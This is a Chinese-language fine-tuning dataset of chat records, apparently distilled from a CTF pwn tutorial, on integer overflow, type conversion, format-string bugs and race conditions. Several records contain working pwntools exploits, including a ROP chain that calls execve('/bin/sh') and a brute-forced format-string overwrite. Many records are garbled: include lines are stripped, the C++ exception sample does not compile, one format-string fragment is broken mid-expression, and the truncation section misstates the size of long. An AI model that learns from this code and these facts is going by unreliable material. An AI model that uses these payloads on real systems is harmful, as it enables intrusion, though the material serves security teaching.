{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bd6aaed9bf9b90a5e15d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/类型转换/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/类型转换/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n关键常量/偏移样例：\n`0x0804900e`, `0x08049100`, `0x0804A008`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\ncontext(log_level=\"debug\",os=\"linux\",arch=\"i386\")\nsh=process(\"./pwn\")\n#gdb.attach(sh)\n#pause()\nsh.sendlineafter(\"Tell me your choice:\",str(1))\n#pause()\nsh.sendlineafter(\"First input the length of your name:\",str(-1))\n\nsystem=0x08049100\nret=0x0804900e\nbn=0x0804A008\npayload=b'a'*(20+8+4)+p32(ret)+p32(system)+p32(123)+p32(bn)\nsh.sendlineafter(\"\\x1B[36m What's u name?\\n\\x1B[0m\",payload)\nsh.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-0c05c19a771e61b2", "original_line": 42, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/类型转换/exp.py", "split": "train", "split_group_key": "e4d52cb6657db52b02455b58"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/类型转换/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-bd8133c57d50cba12ca3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/格式化字符串/非栈上格式化字符串/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/格式化字符串/非栈上格式化字符串/exp.py`\n\n分类：misc_vuln\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n关键常量/偏移样例：\n`0x85ab`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('xman_2019_format')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nwhile True:\n    global io\n    try:\n        io = process([elf.path])\n        payload = \"%\" + str(0x9c) + \"c%10$hhn|%\" + str(0x85ab) + \"c%18$hn\"\n        sla('...', payload)\n        sleep(0.5)\n        ia()\n\n    except KeyboardInterrupt:\n        ic()\n        exit(0)\n\n    except:\n        ic()\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-code-b48617917a6cbf0b", "original_line": 46, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/非栈上格式化字符串/exp.py", "split": "train", "split_group_key": "a2074d77a16c86a5f554fe05"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/非栈上格式化字符串/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-be91f9e0d8b78a4f5d5b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/truncated.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/truncated.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n训练用代码片段：\n```c\n#include \n\nint main() {\n    long large_number = 1234567890123456789L;\n    int truncated = (int)large_number;  // 整数截断\n    printf(\"Truncated value: %d\\n\", truncated);\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-d9024b7e8f4220a9", "original_line": 447, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/truncated.c", "split": "train", "split_group_key": "9239f04dbfe9aa54d6a595b2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/truncated.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c455e70e1c2a9314d6ff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「整数截断」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 整数截断\n\n整数截断是指当将一个较大的整数类型转换为较小的整数类型时，可能会丢失数据。例如，`long`转换为`int`时，如果值超出`int`的范围，可能会发生截断。\n\n```c\n#include \n\nint main(void) {\n    long a = 0x100000000;\n    int b = a;\n    if(b){\n        printf(\"ok\");\n    }\n    else{\n        printf(\"error\");\n    }\n}\n```\n\n上述代码编译运行结果为`error`，因为在`long`类型赋值给`int`类型时发生了隐式转换导致了整数截断。\n\n究其原因是因为`long`类型占 4 个字节，而`int`型只有 4 个字节。根本塞不下`long`类型，所以就把塞不下的部分截掉了。\n\n`long: 0x0000000100000000 -> int: 0x00000000`。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-fc6c5fb6953fb8ef", "original_line": 483, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c4b40b979679d7614c26", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「错误的类型转换」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 错误的类型转换\n\n> [CISCN 2023 初赛]烧烤摊儿\n\n+ 分析\n\nchecksec 查保护，发现存在栈溢出保护和地址随机化保护。\n\n[图片: 1773504743431-406b9b0b-afbb-4ee8-b342-e20dc9757a75]\n\n执行一下程序，发现是一个购买烧烤的程序\n\n[图片: image][图片: image]\n\n\nida 打开分析\n\n程序可以选则购买啤酒和烤串这样会减少余额，而如果余额超过一定数量则可以承包摊位。\n\n如果承包摊位后就可以选择给摊位重命名。\n\n[图片: image][图片: image]\n\n\n详细分析程序发现两处整数溢出漏洞，分别为购买啤酒和购买烤串。\n\n这里只介绍第一处。\n\n购买啤酒的程序通过输入数字来选择购买的啤酒，并且通过数字来选择购买的数量。\n\n如果购买啤酒的数量的金额超过余额则输出钱不够了。\n\n如果余额足够，则从余额中减去金额。\n\n但是程序没有限制输入正数还是负数，如果输入负数则判断条件仍然会正确，经过计算后余额还会增加。这是因为负数被转换为了无符号数。\n\n所以我们可以通过这个漏洞来增加余额达到足以承包烧烤摊的标准。\n\n[图片: image][图片: image]\n\n\n当承包烧烤摊后，我们便可以给烧烤摊改名字。\n\n而给烧烤摊改名字的函数中存在栈溢出漏洞。\n\n虽然程序开启了栈溢出，但是函数中没有检查`canary`的值，所以就相当于没开启。\n\n> 正常开启栈溢出保护的程序，通过`readfsqword`检查`canary`的值\n\n[图片: image]\n\n并且输入没有限制，之后将输入的内容复制到表示烧烤摊名称的全局变量中。\n\n[图片: image][图片: image]\n\n我们可以通过改名输入`/bin/sh`到栈中，改名称的时候会将`/bin/sh`复制到全局变量。\n\n这样我们就可以得到`/bin/sh`的地址。\n\n并且在`/bin/sh`后面接上一个`\\x00`字符串结束符，用于截取`/bin/sh`。\n\n之后在其后拼接足够栈溢出的字符，通过栈溢出我们可以通过gadget实现系统调用。\n\n1. 程序返回执行`pop_rax_rdx_rcx`，将`0xb`弹入`rax`，将`0`弹入`rdx`，将`0`弹入`rcx`。\n2. `pop_rdi`将字符串地址弹入`rdi`。\n3. `pop_rsi`将`0`弹入`rsi`。\n4. 之后`rip`的值覆盖为`syscall`地址，触发中断。\n5. [图片: image]\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc: ELF = gift.libc\n\n#触发整数溢出漏洞\nsl(b'1')\nsl(b'1')\nsl(b'-10000')\n#承包烧烤摊并修改名称\nsl(b'4')\nsl(b'5')\n\n#全局变量的地址\nsh=0x4E60F0\n\npop_rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret\npop_rdi=0x000000000040264f #: pop rdi ; ret\npop_rsi=0x000000000040a67e #: pop rsi ; ret\nsyscall=0x0000000000402404 #: syscall\n\n#加上\\x00这样在execve函数读取到/bin/sh之后就会截停\npayload=b'/bin/sh\\x00'+b'a'*0x20+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(syscall)\n\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-3d2bce612a52cc58", "original_line": 469, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c64bcafedc9901d3dc5e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「题目分析」。\n资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 题目分析\n\nC++ 中的异常处理机制由`try`、`throw`、`catch`语句组成。\n\n- `try`语句块负责监视异常。\n- `throw`用于发送异常信息，也称为抛出异常。\n- `catch`用于捕获异常并做出相应处理。\n\n基本用法：\n\n```cpp\ntry {                   // 检测异常\n    // 执行可能出错的代码\n    throw 异常类型;      // 抛出异常\n}\ncatch (异常类型1 e) {    // 捕获异常\n    // 处理方式 1\n}\ncatch (异常类型2 e) {    // 捕获另一种异常\n    // 处理方式 2\n}\n// ...\n```\n\n从 C++ 处理异常的语法中可以看到，异常的处理流程为检测异常 → 产生异常 → 抛出异常 → 捕获异常。对于用户而言，编译器隐藏了捕获异常的流程。在运行过程中，异常产生时会自动匹配到对应的处理代码中，而这个过程的代码较为复杂，由编译器产生。异常处理通常是由编译器和操作系统共同完成的，所以不同操作系统环境下的编译器对异常捕获和异常处理的分派过程是不同的。\n\nC++的异常处理`try catch`执行过程\n\n- 执行`try`块中的语句，如果执行的过程中没有异常抛出，那么执行完后就执行最后一个`catch`块后面的语句，所以`catch`块中的语句都不会被执行。\n- 如果`try`块执行的过程中抛出了异常，那么抛出异常后立即跳转到第一个 “异常类型” 和抛出的异常类型匹配的`catch`块中执行（称作异常被该`catch`块 “捕获”），执行完后再跳转到最后一个`catch`块后面继续执行\n- C++异常的再抛出：如果一个函数在执行过程中抛出的异常在本函数内就被`catch`块捕获并处理，那么该异常就不会抛给这个函数的调用者，如果异常在本函数中没有被处理，则它会被抛给上一层的函数\n\n```cpp\n#include \n#include \n#include \n\nvoid catched_by_self(int i){\n\ttry{\n\t}\n\tcatch(char){\n\t}\n\tcatch(int)\n}\nvoid catched_by_before1(int i){\n\tthrow std::string(\"Fuck You\\n\");\n\tprintf(\"被抛到上层之后，函数后面的语句就不会被执行\\n\");\n}\n\nvoid catched_by_before2(){\n\tthrwo 666;\n\tprintf(\"被抛到上层之后，函数后面的语句就不会被执行\\n\");\n}\n\nint mainf(){\n\tint testnum=0x123;\n\ttry{\n\t}\n\tcatch\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-61f0e3f7ccf39c91", "original_line": 433, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "split_group_key": "f289bd9c761b7bfdc81ae259"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ycb logger/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-c7abd0ef01e78afd5c53", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/srand.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/srand.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `backdoor`\n- `main`\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n\nvoid backdoor(){\n    system(\"/bin/sh\");\n}\n\nint main() {\n    int buf;\n    // 使用标准的 rand() 生成随机数\n    // 如果使用不安全的种子或者低熵的随机数生成器，攻击者可以预测生成的随机数\n    srand(time(NULL));  // 使用当前时间作为种子\n    int random_number = rand();\n    printf(\"Random number: %d\\n\", random_number);\n    scanf(\"%d\",buf);\n    if(buf==random_number){\n        backdoor();\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-291156c1ba9ebfe5", "original_line": 446, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/srand.c", "split": "train", "split_group_key": "15133fd393cc602881f54669"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/srand.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d4efbf32977c80e59d91", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「非栈上格式化字符串」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 非栈上格式化字符串\n\n2019 xman format\n\n由于不能泄露地址，因此只能爆破 `ebp` 链指向返回地址然后写返回地址为 `backdoor` 函数地址来 get shell 。\n\n[图片: image]\n\n+ exp\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('xman_2019_format')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nwhile True:\n    global io\n    try:\n        io = process([elf.path])\n        payload = \"%\" + str(0x9c) + \"c%10$hhn|%\" + str(0x85ab) + \"c%18$hn\"\n        sla('...', payload)\n        sleep(0.5)\n        ia()\n\n    except KeyboardInterrupt:\n        ic()\n        exit(0)\n\n    except:\n        ic()\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-fa0db48c5c79dc0c", "original_line": 49, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d51840927e29d518790f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/整数溢出/xj.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/整数溢出/xj.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n\n函数/封装：\n- `main`\n\n训练用代码片段：\n```c\n#include \n\nvoid main()\n{\n  char sa = 0;\n  short sb = 0;\n  int sc = 0;\n  long sd = 0;\n\n  unsigned char ua = 0;\n  unsigned short ub = 0;\n  unsigned int uc = 0;\n  unsigned long ud = 0;\n\n  sa-=1;\n  sb-=1;\n  sc-=1;\n  sd-=1;\n  ua-=1;\n  ub-=1;\n  uc-=1;\n  ud-=1;\n\n  printf(\"signed   char  0x%x  : %d\\n\", sa, sa);\n  printf(\"signed   short 0x%x  : %d\\n\", sb, sb);\n  printf(\"signed   int   0x%x  : %d\\n\", sc, sc);\n  printf(\"signed   long  0x%lx : %ld\\n\", sd, sd);\n\n  printf(\"unsigned char  0x%x  : %u\\n\", ua, ua);\n  printf(\"unsigned short 0x%x  : %u\\n\", ub, ub);\n  printf(\"unsigned int   0x%x  : %u\\n\", uc, uc);\n  printf(\"unsigned long  0x%lx : %lu\\n\", ud, ud);\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-code-0af12a6d4977fb58", "original_line": 448, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/xj.c", "split": "train", "split_group_key": "411e7212f6f2ae1cbaee89b0"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/整数溢出/xj.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-d861ea0ed7cae38e629d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「错误的类型转换」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 错误的类型转换\n\n在本例中`len`是有符号整型，所以`len`的长度可以是负数，但是在`read`函数中，第三个参数的类型是`size_t`，该类型相当于`unsigned long int`，属于无符号长整型。\n\n所以如果我们输入负数会导致转换为无符号数，这回事一个相当大的值。在本例中会让可输入的数据字节数变大，可能会导致栈溢出。\n\n```c\n#include \n\nint main(void) {\n    char buf[0x10];\n    int len;\n\n    printf(\"Enter a long integer: \");\n    read(0, buf, len);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-f1dfc29e709136b8", "original_line": 480, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-da35f3328e6b386e161f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「=============================」。\n资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# =============================\ndef arbitrary_offset_write(offset, value):\n    info(\"arbitrary_offset_write({}, {})\".format(hex(offset), hex(value)))\n    assert 0 > (0 * 16)) & 0xFFFF)\n    arbitrary_offset_write(0x52, (address >> (1 * 16)) & 0xFFFF)\n    arbitrary_offset_write(0x54, (address >> (2 * 16)) & 0xFFFF)\n    arbitrary_offset_write(0x56, (address >> (3 * 16)) & 0xFFFF)\n\n    # 调试断点\n    gdb.attach(p, \"b *$rebase(0x123e)\\nc\")\n    pause()\n\n    # 写入 value\n    if value == 0:\n        p.sendafter(\"please input:\\n\", \"%16$hn\")\n    else:\n        p.sendafter(\"please input:\\n\", \"%{}c%16$hn\".format(value))", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 20, "ctf_task_type": "misc", "original_id": "pwn101-doc-b0b3d65be793547e", "original_line": 492, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "split_group_key": "66ee73d9d84fbb78d933b045"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/格式化字符串/格式化字符串.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dd55369dc42d05809c21", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「检测」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 检测\n\n我们也可以通过工具来检测条件竞争漏洞，主要是从静态分析和动态分析两个方面来检测。\n\n**静态分析：**\n\n静态分析是通过不运行程序、直接分析源代码或二进制代码的方式来检测潜在的条件竞争漏洞。此方法不需要实际执行程序，但能够识别潜在的并发问题。\n\n+ Coverity：一个静态分析工具，能够检测并发问题以及其他类型的编程错误。\n+ Clang Thread Safety Analyzer：一个针对 C/C++ 的静态分析工具，能够帮助检测潜在的线程安全问题。\n+ Flawfinder：静态分析工具，能够识别潜在的安全问题。\n\n**动态检测：**\n\n+ ThreadSanitizer (TSan)：Google 提供的一个动态分析工具，能够检测 C/C++ 程序中的数据竞争（数据共享引发的条件竞争问题）。TSan 基于 LLVM，可与 Clang 编译器结合使用，运行时会自动检测潜在的条件竞争漏洞。\n+ Helgrind：Valgrind 的一个插件，用于检测多线程程序中的竞争条件。它可以动态监控程序并分析多个线程的共享数据访问，从而帮助发现潜在的竞争问题。\n+ RaceCheck：一个动态检测工具，专门用于检测并发程序中的条件竞争漏洞，适用于 Java、C++ 等语言。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-9e4d8915aef927d8", "original_line": 476, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-dddd67acd68ca14b57b6", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「简介」。\n资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 简介\n\n条件竞争是指一个相同的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时，就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。\n\n在现代的计算机程序中，由于广泛采用并发编程和频繁共享资源，往往会产生条件竞争漏洞。条件竞争漏洞发生的主要场景是程序中多个进程或线程并发地访问共享资源，而程序的行为依赖于这些并发操作的执行顺序。如果没有有效的同步机制时，这些并发操作的执行顺序不可预测，导致资源的访问冲突，从而可能引发程序的错误行为或安全漏洞。\n\n总之，条件竞争漏洞是由于并发操作的执行顺序不可控所导致的资源冲突问题，攻击者可利用这一点造成程序异常或安全漏洞，特别是在实际生产环境中。\n\n条件竞争造成的影响也是多样的，轻则程序异常执行，重则程序崩溃。如果条件竞争漏洞被攻击者利用的话，很有可能会使得攻击者获得相应系统的特权。", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 18, "ctf_task_type": "misc", "original_id": "pwn101-doc-42092c69a747b1e0", "original_line": 471, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "split_group_key": "44a6193df6d51bf7428f0fe7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/other vuln.md", "split": "train", "type": "ctf_lora_sft"}
